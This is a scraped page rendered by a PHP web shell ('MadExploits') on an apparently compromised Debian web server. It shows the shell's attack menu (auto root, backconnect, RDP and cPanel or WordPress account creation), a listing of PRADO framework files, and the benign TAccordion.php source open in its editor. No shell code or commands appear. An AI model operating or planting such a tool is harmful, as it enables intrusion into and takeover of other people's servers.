Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.147.86.30
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TAccordion.php
<?php /** * TAccordion class file. * * @author Gabor Berczi, DevWorx Hungary <gabor.berczi@devworx.hu> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE * @since 3.2 */ namespace Prado\Web\UI\WebControls; use Prado\Exceptions\TInvalidOperationException; use Prado\TPropertyValue; use Prado\Exceptions\TInvalidDataValueException; use Prado\Web\Javascripts\TJavaScript; /** * Class TAccordion. * * TAccordion displays an accordion control. Users can click on the view headers to switch among * different accordion views. Each accordion view is an independent panel that can contain arbitrary content. * * A TAccordion control consists of one or several {@link TAccordionView} controls representing the possible * accordion views. At any time, only one accordion view is visible (active), which is specified by any of * the following properties: * - {@link setActiveViewIndex ActiveViewIndex} - the zero-based integer index of the view in the view collection. * - {@link setActiveViewID ActiveViewID} - the text ID of the visible view. * - {@link setActiveView ActiveView} - the visible view instance. * If both {@link setActiveViewIndex ActiveViewIndex} and {@link setActiveViewID ActiveViewID} * are set, the latter takes precedence. * * TAccordion uses CSS to specify the appearance of the accordion headers and panel. By default, * an embedded CSS file will be published which contains the default CSS for TTabPanel. * You may also use your own CSS file by specifying the {@link setCssUrl CssUrl} property. * The following properties specify the CSS classes used for elements in a TAccordion: * - {@link setCssClass CssClass} - the CSS class name for the outer-most div element (defaults to 'accordion'); * - {@link setHeaderCssClass HeaderCssClass} - the CSS class name for nonactive accordion div elements (defaults to 'accordion-header'); * - {@link setActiveHeaderCssClass ActiveHeaderCssClass} - the CSS class name for the active accordion div element (defaults to 'accordion-header-active'); * - {@link setViewCssClass ViewCssClass} - the CSS class for the div element enclosing view content (defaults to 'accordion-view'); * * When the user clicks on a view header, the switch between the old visible view and the clicked one is animated. * You can use the {@link setAnimationDuration AnimationDuration} property to set the animation length in seconds; * it defaults to 1 second, and when set to 0 it will produce an immediate switch with no animation. * * The TAccordion auto-sizes itself to the largest of all views, so it can encompass all of them without scrolling. * If you want to specify a fixed height (in pixels), use the {@link setViewHeight ViewHeight} property. * When a TAccordion is nested inside another, it's adviced to manually specify a {@link setViewHeight ViewHeight} for the internal TAccordion * * To use TAccordion, write a template like following: * <code> * <com:TAccordion> * <com:TAccordionView Caption="View 1"> * content for view 1 * </com:TAccordionView> * <com:TAccordionView Caption="View 2"> * content for view 2 * </com:TAccordionView> * <com:TAccordionView Caption="View 3"> * content for view 3 * </com:TAccordionView> * </com:TAccordion> * </code> * * @author Gabor Berczi, DevWorx Hungary <gabor.berczi@devworx.hu> * @since 3.2 */ class TAccordion extends \Prado\Web\UI\WebControls\TWebControl implements \Prado\Web\UI\IPostBackDataHandler { private $_dataChanged = false; /** * @return string tag name for the control */ protected function getTagName() { return 'div'; } /** * Adds object parsed from template to the control. * This method adds only {@link TAccordionView} objects into the {@link getViews Views} collection. * All other objects are ignored. * @param mixed $object object parsed from template */ public function addParsedObject($object) { if ($object instanceof TAccordionView) { $this->getControls()->add($object); } } /** * Returns the index of the active accordion view. * Note, this property may not return the correct index. * To ensure the correctness, call {@link getActiveView()} first. * @return int the zero-based index of the active accordion view. If -1, it means no active accordion view. Default is 0 (the first view is active). */ public function getActiveViewIndex() { return $this->getViewState('ActiveViewIndex', 0); } /** * @param int $value the zero-based index of the current view in the view collection. -1 if no active view. * @throws TInvalidDataValueException if the view index is invalid */ public function setActiveViewIndex($value) { $this->setViewState('ActiveViewIndex', TPropertyValue::ensureInteger($value), 0); $this->setActiveViewID(''); } /** * Returns the ID of the active accordion view. * Note, this property may not return the correct ID. * To ensure the correctness, call {@link getActiveView()} first. * @return string The ID of the active accordion view. Defaults to '', meaning not set. */ public function getActiveViewID() { return $this->getViewState('ActiveViewID', ''); } /** * @param string $value The ID of the active accordion view. */ public function setActiveViewID($value) { $this->setViewState('ActiveViewID', $value, ''); } /** * Returns the currently active view. * This method will examin the ActiveViewID, ActiveViewIndex and Views collection to * determine which view is currently active. It will update ActiveViewID and ActiveViewIndex accordingly. * @throws TInvalidDataValueException if the active view ID or index set previously is invalid * @return TAccordionView the currently active view, null if no active view */ public function getActiveView() { $activeView = null; $views = $this->getViews(); if (($id = $this->getActiveViewID()) !== '') { if (($index = $views->findIndexByID($id)) >= 0) { $activeView = $views->itemAt($index); } else { throw new TInvalidDataValueException('accordion_activeviewid_invalid', $id); } } elseif (($index = $this->getActiveViewIndex()) >= 0) { if ($index < $views->getCount()) { $activeView = $views->itemAt($index); } else { throw new TInvalidDataValueException('accordion_activeviewindex_invalid', $index); } } else { foreach ($views as $index => $view) { if ($view->getActive()) { $activeView = $view; break; } } } if ($activeView !== null) { $this->activateView($activeView); } return $activeView; } /** * @param TAccordionView $view the view to be activated * @throws TInvalidOperationException if the view is not in the view collection */ public function setActiveView($view) { if ($this->getViews()->indexOf($view) >= 0) { $this->activateView($view); } else { throw new TInvalidOperationException('accordion_view_inexistent'); } } /** * @return string URL for the CSS file including all relevant CSS class definitions. Defaults to ''. */ public function getCssUrl() { return $this->getViewState('CssUrl', 'default'); } /** * @param string $value URL for the CSS file including all relevant CSS class definitions. */ public function setCssUrl($value) { $this->setViewState('CssUrl', TPropertyValue::ensureString($value), ''); } /** * @return string CSS class for the whole accordion control div. */ public function getCssClass() { $cssClass = parent::getCssClass(); return $cssClass === '' ? 'accordion' : $cssClass; } /** * @return string CSS class for the currently displayed view div. Defaults to 'accordion-view'. */ public function getViewCssClass() { return $this->getViewStyle()->getCssClass(); } /** * @param string $value CSS class for the currently displayed view div. */ public function setViewCssClass($value) { $this->getViewStyle()->setCssClass($value); } /** * @return string CSS class for the currently displayed view div. Defaults to 'accordion-view'. */ public function getAnimationDuration() { return $this->getViewState('AnimationDuration', '1'); } /** * @param string $value CSS class for the currently displayed view div. */ public function setAnimationDuration($value) { $this->setViewState('AnimationDuration', $value); } /** * @return TStyle the style for all the view div */ public function getViewStyle() { if (($style = $this->getViewState('ViewStyle', null)) === null) { $style = new TStyle(); $style->setCssClass('accordion-view'); $this->setViewState('ViewStyle', $style, null); } return $style; } /** * @return string CSS class for view headers. Defaults to 'accordion-header'. */ public function getHeaderCssClass() { return $this->getHeaderStyle()->getCssClass(); } /** * @param string $value CSS class for view headers. */ public function setHeaderCssClass($value) { $this->getHeaderStyle()->setCssClass($value); } /** * @return TStyle the style for all the inactive header div */ public function getHeaderStyle() { if (($style = $this->getViewState('HeaderStyle', null)) === null) { $style = new TStyle(); $style->setCssClass('accordion-header'); $this->setViewState('HeaderStyle', $style, null); } return $style; } /** * @return string Extra CSS class for the active header. Defaults to 'accordion-header-active'. */ public function getActiveHeaderCssClass() { return $this->getActiveHeaderStyle()->getCssClass(); } /** * @param string $value Extra CSS class for the active header. Will be added to the normal header specified by HeaderCssClass. */ public function setActiveHeaderCssClass($value) { $this->getActiveHeaderStyle()->setCssClass($value); } /** * @return TStyle the style for the active header div */ public function getActiveHeaderStyle() { if (($style = $this->getViewState('ActiveHeaderStyle', null)) === null) { $style = new TStyle(); $style->setCssClass('accordion-header-active'); $this->setViewState('ActiveHeaderStyle', $style, null); } return $style; } /** * @return int Maximum height for the accordion views. If non specified, the accordion will auto-sized to the largest of all views, so it can encompass all of them without scrolling */ public function getViewHeight() { return TPropertyValue::ensureInteger($this->getViewState('ViewHeight')); } /** * @param int $value Maximum height for the accordion views. If any of the accordion's views' content is larger, those views will be made scrollable when activated */ public function setViewHeight($value) { $this->setViewState('ViewHeight', TPropertyValue::ensureInteger($value)); } /** * Activates the specified view. * If there is any other view currently active, it will be deactivated. * @param TAccordionView $view the view to be activated. If null, all views will be deactivated. */ protected function activateView($view) { $this->setActiveViewIndex(-1); $this->setActiveViewID(''); foreach ($this->getViews() as $index => $v) { if ($view === $v) { $this->setActiveViewIndex($index); $this->setActiveViewID($view->getID(false)); $view->setActive(true); } else { $v->setActive(false); } } } /** * Loads user input data. * This method is primarly used by framework developers. * @param string $key the key that can be used to retrieve data from the input data collection * @param array $values the input data collection * @return bool whether the data of the control has been changed */ public function loadPostData($key, $values) { if (($index = $values[$this->getClientID() . '_1']) !== null) { $index = (int) $index; $currentIndex = $this->getActiveViewIndex(); if ($currentIndex !== $index) { $this->setActiveViewID(''); // clear up view ID $this->setActiveViewIndex($index); return $this->_dataChanged = true; } } return false; } /** * Raises postdata changed event. * This method is required by {@link \Prado\Web\UI\IPostBackDataHandler} interface. * It is invoked by the framework when {@link getActiveViewIndex ActiveViewIndex} property * is changed on postback. * This method is primarly used by framework developers. */ public function raisePostDataChangedEvent() { // do nothing } /** * Returns a value indicating whether postback has caused the control data change. * This method is required by the \Prado\Web\UI\IPostBackDataHandler interface. * @return bool whether postback has caused the control data change. False if the page is not in postback mode. */ public function getDataChanged() { return $this->_dataChanged; } /** * Adds attributes to renderer. * @param \Prado\Web\UI\THtmlWriter $writer the renderer */ protected function addAttributesToRender($writer) { $writer->addAttribute('id', $this->getClientID()); $this->setCssClass($this->getCssClass()); parent::addAttributesToRender($writer); } /** * Registers CSS and JS. * This method is invoked right before the control rendering, if the control is visible. * @param mixed $param event parameter */ public function onPreRender($param) { parent::onPreRender($param); // determine the active view $this->getActiveView(); $this->registerStyleSheet(); } /** * Registers the CSS relevant to the TAccordion. * It will register the CSS file specified by {@link getCssUrl CssUrl}. * If that is not set, it will use the default CSS. */ protected function registerStyleSheet() { $url = $this->getCssUrl(); if ($url === '') { return; } if ($url === 'default') { $url = $this->getApplication()->getAssetManager()->publishFilePath(__DIR__ . DIRECTORY_SEPARATOR . 'assets' . DIRECTORY_SEPARATOR . 'accordion.css'); } if ($url !== '') { $this->getPage()->getClientScript()->registerStyleSheetFile($url, $url); } } /** * Registers the relevant JavaScript. */ protected function registerClientScript() { $id = $this->getClientID(); $options = TJavaScript::encode($this->getClientOptions()); $className = $this->getClientClassName(); $page = $this->getPage(); $cs = $page->getClientScript(); $cs->registerPradoScript('accordion'); $code = "new $className($options);"; $cs->registerEndScript("prado:$id", $code); // ensure an item is always active and visible $index = $this->getActiveViewIndex(); if (!$this->getViews()->itemAt($index)->Visible) { $index = 0; } $cs->registerHiddenField($id . '_1', $index); $page->registerRequiresPostData($this); $page->registerRequiresPostData($id . "_1"); } /** * Gets the name of the javascript class responsible for performing postback for this control. * This method overrides the parent implementation. * @return string the javascript class name */ protected function getClientClassName() { return 'Prado.WebUI.TAccordion'; } /** * @return array the options for JavaScript */ protected function getClientOptions() { $options['ID'] = $this->getClientID(); $options['ActiveHeaderCssClass'] = $this->getActiveHeaderCssClass(); $options['HeaderCssClass'] = $this->getHeaderCssClass(); $options['Duration'] = $this->getAnimationDuration(); if (($viewheight = $this->getViewHeight()) > 0) { $options['maxHeight'] = $viewheight; } $views = []; foreach ($this->getViews() as $view) { $views[$view->getClientID()] = $view->getVisible() ? '1' : '0'; } $options['Views'] = $views; return $options; } /** * Creates a control collection object that is to be used to hold child controls * @return TAccordionViewCollection control collection */ protected function createControlCollection() { return new TAccordionViewCollection($this); } /** * @return TAccordionViewCollection list of {@link TAccordionView} controls */ public function getViews() { return $this->getControls(); } public function render($writer) { $this->registerClientScript(); parent::render($writer); } /** * Renders body contents of the accordion control. * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose. */ public function renderContents($writer) { $views = $this->getViews(); if ($views->getCount() > 0) { $writer->writeLine(); foreach ($views as $view) { $view->renderHeader($writer); $view->renderControl($writer); $writer->writeLine(); } } } }
Close